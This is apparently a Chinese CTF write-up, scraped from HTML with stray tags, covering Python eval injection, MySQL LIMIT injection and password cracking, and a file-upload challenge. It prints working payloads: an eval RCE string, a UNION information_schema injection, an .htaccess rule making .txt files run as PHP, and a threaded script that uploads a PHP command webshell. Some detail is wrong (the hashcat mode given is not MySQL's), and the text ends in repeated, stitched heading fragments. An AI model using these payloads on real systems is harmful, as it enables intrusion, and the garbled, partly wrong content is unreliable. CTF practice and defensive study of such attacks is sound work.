Python沙箱逃逸与Web安全实战教学<\/h1>

1. Eval is Evil - Python沙箱逃逸<\/h2>

漏洞分析<\/h3>

题目是一个简单的Python沙箱环境，直接拼接用户输入导致远程代码执行(RCE)。<\/p>

# 题目源码示例<\/span>
<\/span><\/span>user_input =<\/span> input("Enter your input: "<\/span>)
<\/span><\/span>eval("some_function("<\/span> +<\/span> user_input +<\/span> ")"<\/span>)  # 直接拼接导致RCE<\/span>
<\/span><\/span><\/code><\/pre>利用方法<\/h3>
无需沙箱逃逸，直接构造恶意输入即可执行任意命令：<\/p>
__import__('os').system('id')
<\/code><\/pre>
防御措施<\/h3>

避免使用eval()<\/code>或exec()<\/code>处理用户输入<\/li>
如需使用沙箱，考虑使用PyPy<\/code>沙箱或RestrictedPython<\/code><\/li>
使用白名单验证输入<\/li>
<\/ul>
2. OverAndOver - Base64多层解码<\/h2>
题目分析<\/h3>
题目提供经过多层Base64编码的字符串，需要连续解码直到原始内容。<\/p>
解决方案<\/h3>
编写自动解码脚本：<\/p>
import<\/span> base64
<\/span><\/span>
<\/span><\/span>def<\/span> decode_recursive<\/span>(encoded):
<\/span><\/span>    while<\/span> True<\/span>:
<\/span><\/span>        try<\/span>:
<\/span><\/span>            encoded =<\/span> base64.<\/span>b64decode(encoded).<\/span>decode('utf-8'<\/span>)
<\/span><\/span>        except<\/span>:
<\/span><\/span>            return<\/span> encoded
<\/span><\/span>
<\/span><\/span>with<\/span> open('encoded.txt'<\/span>, 'r'<\/span>) as<\/span> f:
<\/span><\/span>    print(decode_recursive(f.<\/span>read()))
<\/span><\/span><\/code><\/pre>3. DigginDir - 取证分析<\/h2>
题目分析<\/h3>
多个文件中隐藏flag，需要编写脚本批量搜索。<\/p>
解决方案<\/h3>
import<\/span> os
<\/span><\/span>
<\/span><\/span>def<\/span> search_flag<\/span>(directory):
<\/span><\/span>    for<\/span> root, dirs, files in<\/span> os.<\/span>walk(directory):
<\/span><\/span>        for<\/span> file in<\/span> files:
<\/span><\/span>            if<\/span> file.<\/span>endswith('.txt'<\/span>):
<\/span><\/span>                with<\/span> open(os.<\/span>path.<\/span>join(root, file), 'r'<\/span>) as<\/span> f:
<\/span><\/span>                    content =<\/span> f.<\/span>read()
<\/span><\/span>                    if<\/span> 'flag{'<\/span> in<\/span> content:
<\/span><\/span>                        print(f<\/span>"Found in <\/span>{<\/span>os.<\/span>path.<\/span>join(root, file)}<\/span>: <\/span>{<\/span>content}<\/span>"<\/span>)
<\/span><\/span><\/code><\/pre>4. Javascript Puzzle - 错误触发<\/h2>
漏洞分析<\/h3>
通过触发JavaScript错误获取flag，错误类型包括：<\/p>

SyntaxError<\/code>：语法错误（解析阶段）<\/li>
TypeError<\/code>：类型错误<\/li>
ReferenceError<\/code>：未定义变量<\/li>
RangeError<\/code>：数值越界<\/li>
URIError<\/code>：URI处理错误<\/li>
<\/ul>
利用方法<\/h3>
最容易触发错误的方式是对象与字符串拼接：<\/p>
\/\/ 构造一个对象并覆盖toString方法
<\/span><\/span><\/span><\/span>const<\/span> obj<\/span> =<\/span> {
<\/span><\/span>  toString<\/span>:<\/span> () => { throw<\/span> new<\/span> Error("Trigger error"<\/span>) }
<\/span><\/span>};
<\/span><\/span>
<\/span><\/span>\/\/ 尝试拼接字符串触发错误
<\/span><\/span><\/span><\/span>try<\/span> {
<\/span><\/span>  const<\/span> username<\/span> =<\/span> obj<\/span>;
<\/span><\/span>  const<\/span> test<\/span> =<\/span> "Hello "<\/span> +<\/span> username<\/span>;
<\/span><\/span>} catch<\/span> (e<\/span>) {
<\/span><\/span>  \/\/ 获取flag
<\/span><\/span><\/span><\/span>}
<\/span><\/span><\/code><\/pre>5. Limited系列 - SQL注入<\/h2>
Limited 2 - Limit注入<\/h3>
漏洞分析<\/h4>
高版本MySQL中的Limit注入，传统方法失效。<\/p>
利用方法<\/h4>
通过修改HTTP参数实现注入：<\/p>
-- 原始查询
<\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> users LIMIT<\/span> [user_input];
<\/span><\/span>
<\/span><\/span>-- 注入payload
<\/span><\/span><\/span><\/span>SELECT<\/span> *<\/span> FROM<\/span> users LIMIT<\/span> 1<\/span> UNION<\/span> SELECT<\/span> 1<\/span>,group_concat(table_name<\/span>),3<\/span> FROM<\/span> information_schema.tables WHERE<\/span> table_schema=<\/span>database<\/span>()-- 
<\/span><\/span><\/span><\/code><\/pre>绕过技巧<\/h4>

使用HTTP参数污染<\/li>
利用子查询<\/li>
通过数据包修改参数<\/li>
<\/ul>
Limited 1 - 查询历史获取<\/h3>
解决方案<\/h4>
利用information_schema.processlist<\/code>查看正在执行的查询（MySQL ≥ 5.7.6）：<\/p>
SELECT<\/span> *<\/span> FROM<\/span> information_schema.processlist WHERE<\/span> db =<\/span> DATABASE<\/span>();
<\/span><\/span><\/code><\/pre>Limited 3 - 密码爆破<\/h3>
题目分析<\/h4>
需要爆破MySQL用户密码，密码哈希在rockyou字典中。<\/p>
解决方案<\/h4>

获取密码哈希：<\/li>
<\/ol>
SELECT<\/span> password FROM<\/span> users WHERE<\/span> username =<\/span> 'flag'<\/span>;
<\/span><\/span><\/code><\/pre>
使用hashcat爆破：<\/li>
<\/ol>
hashcat -m 3000<\/span> hash.txt rockyou.txt
<\/span><\/span><\/code><\/pre>注意事项<\/h4>

MySQL 8.0+使用新的哈希算法<\/li>
注意哈希格式转换<\/li>
<\/ul>
6. Art Contest - 文件上传与权限绕过<\/h2>
漏洞分析<\/h3>

可上传.htaccess<\/code>文件<\/li>
每小时清理上传文件<\/li>
上传后权限被限制<\/li>
Apache 2.4.62（无已知漏洞）<\/li>
<\/ul>
利用方法<\/h3>

上传恶意.htaccess<\/code>：<\/li>
<\/ol>
AddType application\/x-httpd-php .txt
<\/code><\/pre>


上传PHP webshell（.txt<\/code>扩展名）<\/p>
<\/li>

权限绕过技巧：<\/p>
<\/li>
<\/ol>

利用*<\/code>不匹配.<\/code>开头文件的特性<\/li>
上传文件名以.<\/code>开头（如.shell.php<\/code>）<\/li>
<\/ul>
条件竞争利用<\/h3>
import<\/span> requests
<\/span><\/span>import<\/span> threading
<\/span><\/span>
<\/span><\/span>def<\/span> upload_file<\/span>(session):
<\/span><\/span>    while<\/span> True<\/span>:
<\/span><\/span>        files =<\/span> {'file'<\/span>: ('.shell.php'<\/span>, '<?php system($_GET["cmd"]); ?>'<\/span>)}
<\/span><\/span>        session.<\/span>post('http:\/\/target\/upload'<\/span>, files=<\/span>files)
<\/span><\/span>
<\/span><\/span># 创建多个线程同时上传<\/span>
<\/span><\/span>s =<\/span> requests.<\/span>Session()
<\/span><\/span>for<\/span> i in<\/span> range(10<\/span>):
<\/span><\/span>    threading.<\/span>Thread(target=<\/span>upload_file, args=<\/span>(s,)).<\/span>start()
<\/span><\/span><\/code><\/pre>最终利用<\/h3>

上传webshell<\/li>
执行get_flag<\/code>程序：<\/li>
<\/ol>
cd \/var\/www\/html\/uploads\/session_id\/
<\/span><\/span>.\/get_flag
<\/span><\/span><\/code><\/pre>防御措施总结<\/h2>


Python沙箱<\/strong>：<\/p>

使用安全沙箱环境<\/li>
严格限制可用函数<\/li>
<\/ul>
<\/li>

SQL注入<\/strong>：<\/p>

使用预编译语句<\/li>
最小权限原则<\/li>
定期更新数据库<\/li>
<\/ul>
<\/li>

文件上传<\/strong>：<\/p>

限制上传文件类型<\/li>
随机化文件名<\/li>
存储在非web可访问目录<\/li>
<\/ul>
<\/li>

错误处理<\/strong>：<\/p>

自定义错误页面<\/li>
生产环境关闭详细错误<\/li>
<\/ul>
<\/li>

权限控制<\/strong>：<\/p>

正确设置文件权限<\/li>
使用专用用户运行服务<\/li>
定期检查权限设置<\/li>
<\/ul>
<\/li>
<\/ol>

Python沙箱逃逸与Web安全实战教学<\/h1>

1. Eval is Evil - Python沙箱逃逸<\/h2>

2. OverAndOver - Base64多层解码<\/h2>

题目分析<\/h3> 题目提供经过多层Base64编码的字符串，需要连续解码直到原始内容。<\/p>

3. DigginDir - 取证分析<\/h2>

题目分析<\/h3> 多个文件中隐藏flag，需要编写脚本批量搜索。<\/p>

4. Javascript Puzzle - 错误触发<\/h2>

5. Limited系列 - SQL注入<\/h2>

Limited 2 - Limit注入<\/h3>

漏洞分析<\/h4> 高版本MySQL中的Limit注入，传统方法失效。<\/p>

Limited 1 - 查询历史获取<\/h3>

Limited 3 - 密码爆破<\/h3>

题目分析<\/h4> 需要爆破MySQL用户密码，密码哈希在rockyou字典中。<\/p>

6. Art Contest - 文件上传与权限绕过<\/h2>

题目分析<\/h3>
题目提供经过多层Base64编码的字符串，需要连续解码直到原始内容。<\/p>

题目分析<\/h3>
多个文件中隐藏flag，需要编写脚本批量搜索。<\/p>

漏洞分析<\/h4>
高版本MySQL中的Limit注入，传统方法失效。<\/p>

题目分析<\/h4>
需要爆破MySQL用户密码，密码哈希在rockyou字典中。<\/p>